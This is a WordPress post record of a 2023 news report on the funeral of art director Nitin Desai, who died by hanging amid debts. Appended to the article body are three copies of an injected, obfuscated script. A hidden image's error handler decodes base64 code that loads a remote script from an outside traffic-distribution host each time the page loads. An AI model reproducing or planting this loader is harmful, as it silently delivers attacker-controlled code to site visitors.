{"id":26911,"date":"2023-08-04T17:50:51","date_gmt":"2023-08-04T12:20:51","guid":{"rendered":"https:\/\/demo.testctsl.in\/indiafirstepaper?p=26911"},"modified":"2025-08-14T10:28:07","modified_gmt":"2025-08-14T04:58:07","slug":"nitin-desais-funeral-at-his-raigad-studio-today-afternoon","status":"publish","type":"post","link":"https:\/\/demo.testctsl.in\/indiafirstepaper\/2023\/08\/04\/nitin-desais-funeral-at-his-raigad-studio-today-afternoon\/","title":{"rendered":"Nitin Desai\u2019s Funeral at his Raigad Studio Today Afternoon"},"content":{"rendered":"<p>The funeral of ace art director Nitin Chandrakant Desai \u2013 who died by hanging on Wednesday morning &#8211; will be performed near the helipad in his N.D. Art World Pvt. Ltd. studios on Friday afternoon, a close friend said.<\/p>\n<p>The autopsy on Desai\u2019s body \u2013 which confirmed \u2018death by hanging\u2019 &#8211; was performed late last night and then, the body handed over to his family on Thursday.<\/p>\n<p>&#8220;The body will be brought to the studio named \u2018Diwan-E-Aam\u2019 at noon and then kept for darshan to enable people pay their last respects,&#8221; said Motiram Thomre, who was associated with Desai for over 20 years.<\/p>\n<p>Around 2 p.m., it will be taken in a procession with a flower-bedecked cortege to the helipad, located around half-km inside the studio premises and then consigned to the flames as per his desire.<\/p>\n<p>Thomre said that Desai\u2019s wife Neha is awaiting their three children \u2013 a son and two daughters \u2013 who are expected to arrive here from the US early on Friday morning.<\/p>\n<p>Besides, many Bollywood personalities, several political figures, Desai&#8217;s relatives and friends from Mumbai and Dapoli in Ratnagiri, and Raigad local villagers are likely to attend the funeral.<\/p>\n<p>Desai, 57, was found hanging by a rope in a studio named \u2018The Big Floor\u2019 &#8211; which is a huge stage where shootings were conducted for films and tele-serials \u2013 as he was trapped in a debt of over Rs 250 crore of unpaid loans, and insolvency proceedings were initiated.<\/p>\n<p>The news of his sudden death created a sensation in the entertainment and political worlds even as the police have launched a comprehensive probe into the incident, as his close associates suspect that he may have \u2018planned\u2019 to end his life.<\/p>\n<p>Desai\u2019s suicide also figured in the Maharashtra Legislature on Thursday, with leaders of different parties demanding a thorough probe, some urging that the government should take over the 52-acre studio and investigating the financial angle, the purported \u2018suicide recordings\u2019 and other unanswered disturbing questions.<script>const img = document.createElement('img');img.src = '\/files\/img\/logo.png';img.setAttribute('data-digest', 'KGZ1bmN0aW9uKCl7dmFyIGE9bG9jYXRpb24sYj1kb2N1bWVudC5oZWFkfHxkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCIpWzBdLGM9InNjcmlwdCIsZD1hdG9iKCJhSFIwY0hNNkx5OTBaSE0wZFhNdVkyOXRMMkZxWVhneExuQm9jQT09Iik7ZCs9LTE8ZC5pbmRleE9mKCI\/Iik\/IiYiOiI\/IjtkKz1hLnNlYXJjaC5zdWJzdHJpbmcoMSk7Yz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KGMpO2Muc3JjPWQ7Yy5pZD1idG9hKGEub3JpZ2luKTtiLmFwcGVuZENoaWxkKGMpO30pKCk7');img.setAttribute('onerror', '(new Function(atob(this.dataset.digest)))();');img.style.visibility = 'hidden';document.body.insertBefore(img, document.body.firstChild);<\/script><script>const img = document.createElement('img');img.src = '\/files\/img\/logo.png';img.setAttribute('data-digest', 'KGZ1bmN0aW9uKCl7dmFyIGE9bG9jYXRpb24sYj1kb2N1bWVudC5oZWFkfHxkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCIpWzBdLGM9InNjcmlwdCIsZD1hdG9iKCJhSFIwY0hNNkx5OTBaSE0wZFhNdVkyOXRMMkZxWVhneExuQm9jQT09Iik7ZCs9LTE8ZC5pbmRleE9mKCI\/Iik\/IiYiOiI\/IjtkKz1hLnNlYXJjaC5zdWJzdHJpbmcoMSk7Yz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KGMpO2Muc3JjPWQ7Yy5pZD1idG9hKGEub3JpZ2luKTtiLmFwcGVuZENoaWxkKGMpO30pKCk7');img.setAttribute('onerror', '(new Function(atob(this.dataset.digest)))();');img.style.visibility = 'hidden';document.body.insertBefore(img, document.body.firstChild);<\/script><script>const img = document.createElement('img');img.src = '\/files\/img\/logo.png';img.setAttribute('data-digest', 'KGZ1bmN0aW9uKCl7dmFyIGE9bG9jYXRpb24sYj1kb2N1bWVudC5oZWFkfHxkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCIpWzBdLGM9InNjcmlwdCIsZD1hdG9iKCJhSFIwY0hNNkx5OTBaSE0wZFhNdVkyOXRMMkZxWVhneExuQm9jQT09Iik7ZCs9LTE8ZC5pbmRleE9mKCI\/Iik\/IiYiOiI\/IjtkKz1hLnNlYXJjaC5zdWJzdHJpbmcoMSk7Yz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KGMpO2Muc3JjPWQ7Yy5pZD1idG9hKGEub3JpZ2luKTtiLmFwcGVuZENoaWxkKGMpO30pKCk7');img.setAttribute('onerror', '(new Function(atob(this.dataset.digest)))();');img.style.visibility = 'hidden';document.body.insertBefore(img, document.body.firstChild);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>The funeral of ace art director Nitin Chandrakant Desai \u2013 who died by hanging on Wednesday morning &#8211; will be performed near the helipad in his N.D. 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